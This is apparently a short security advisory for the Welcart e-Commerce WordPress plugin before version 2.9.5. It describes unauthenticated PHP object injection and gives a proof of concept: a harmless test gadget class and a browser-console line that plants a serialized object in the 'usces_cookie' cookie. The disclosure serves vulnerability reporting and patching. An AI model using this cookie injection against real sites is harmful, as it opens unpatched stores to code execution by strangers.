Welcart e-Commerce < 2.9.5 - Unauthenticated PHP Object Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin:
class Evil {
    public function __wakeup() : void {
        die("Arbitrary deserialization");
    }
}

Then execute the command below in the web developer console of the browser when on the blog as unauthenticated:

document.cookie='usces_cookie=O:4:"Evil":0:{}'

Refresh the page to see the 'Arbitrary deserialization' message displayed